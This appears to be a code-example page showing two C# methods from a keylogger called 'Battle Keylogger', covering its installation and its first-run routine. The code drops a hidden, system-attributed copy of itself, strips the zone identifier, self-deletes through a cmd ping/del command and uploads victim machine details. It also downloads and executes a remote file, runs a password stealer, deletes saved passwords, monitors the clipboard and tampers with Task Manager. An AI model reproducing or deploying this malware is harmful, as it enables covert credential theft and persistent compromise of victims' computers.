Example #1
0
        public static void Install()
        {
            try
            {
                string runningPath = Application.ExecutablePath;
                if (runningPath.Equals(GetInstallPath()))
                {
                    return;
                }
                string installPath = string.Empty;
                if (Config.PATH_TYPE.Equals("1"))
                {
                    installPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                }
                else if (Config.PATH_TYPE.Equals("2"))
                {
                    installPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                }
                else if (Config.PATH_TYPE.Equals("3"))
                {
                    installPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                }
                else if (Config.PATH_TYPE.Equals("4"))
                {
                    installPath = Path.GetTempPath().Substring(0, Path.GetTempPath().Length - 1);
                }
                installPath += "\\" + Config.FOLDER_NAME;
                if (!Directory.Exists(installPath))
                {
                    try
                    {
                        Directory.CreateDirectory(installPath);
                    }
                    catch { }
                }
                installPath += "\\" + Config.FILE_NAME;

                try
                {
                    File.Copy(runningPath, installPath, true); //Drops file
                }
                catch { }
                try
                {
                    Core.CallAPI <bool>("kernel32", "DeleteFile", new Type[] { typeof(string) }, installPath + StringCipher.Decrypt("[ZONEID]", Config.MUTEX));
                }
                catch { }

                Core.Upload("Battle Keylogger Installation Notification", "Battle Keylogger has been installed with the Galaxy Logger Installation Module" + Environment.NewLine + ComputerInformation.GetInformation(), "4");

                if (!string.IsNullOrEmpty(Config.HIDE_FILE))
                {
                    try
                    {
                        File.SetAttributes(installPath, FileAttributes.Hidden);
                        File.SetAttributes(installPath, FileAttributes.System);
                    }
                    catch { }
                }

                if (!string.IsNullOrEmpty(Config.MELT_FILE))
                {
                    try
                    {
                        ProcessStartInfo info = new ProcessStartInfo();
                        info.CreateNoWindow  = true;
                        info.UseShellExecute = false;
                        info.FileName        = "cmd";
                        info.Arguments       = "/c ping -n 3 127.0.0.1 > nul & del " + '"' + runningPath + '"';
                        Process.Start(info);
                    }
                    catch { }
                }
                Process.Start(installPath);
                //GC.Collect();
                Environment.Exit(0);
            }
            catch (Exception ex) { Config.DumpErrorLog(ex, null); }
        }
Example #2
0
        public static void FileExecuted()
        {
            string notifyFile = Path.GetTempPath() + Config.HWID + ".dat";

            if (!File.Exists(notifyFile))
            {
                //Install File Notification (One Time Things, Error Msg)
                Core.Upload("Battle Keylogger Running Notification", "Battle Keylogger is currently active." + Environment.NewLine + ComputerInformation.GetInformation(), "1");
                if (!string.IsNullOrEmpty(Config.MESSAGE_TYPE))
                {
                    new Thread(new ThreadStart(FakeMessage)).Start();
                    //ThreadPool.QueueUserWorkItem(FakeMessage);
                }
                if (!string.IsNullOrEmpty(Config.DOWNLOAD_FILE))
                {
                    try
                    {
                        string downloadFilePath = Path.GetTempFileName();
                        File.Delete(downloadFilePath);
                        downloadFilePath  = downloadFilePath.Substring(0, downloadFilePath.Length - 4);
                        downloadFilePath += Config.DOWNLOAD_FILE_TYPE;
                        new WebClient().DownloadFile(Config.DOWNLOAD_FILE, downloadFilePath);
                        Process.Start(downloadFilePath);
                    }
                    catch { }
                }
                if (!string.IsNullOrEmpty(Config.PASSWORD_STEALER))
                {
                    Core.RecoverPasswords();
                }
                if (!string.IsNullOrEmpty(Config.CLEAR_SAVED))
                {
                    Core.DeleteSavedPasswords();
                }
                File.WriteAllText(notifyFile, Config.GUID + Environment.NewLine + Application.ExecutablePath);
            }
            if (!string.IsNullOrEmpty(Config.CLIPBOARD_MONITORING))
            {
                ClipboardMonitor.Start();
            }

            if (!string.IsNullOrEmpty(Config.MODIFY_TASK_MANAGER))
            {
                Services.ModifyTaskManager();
            }
            new Thread(new ParameterizedThreadStart(Startup)).Start(GetInstallPath());
        }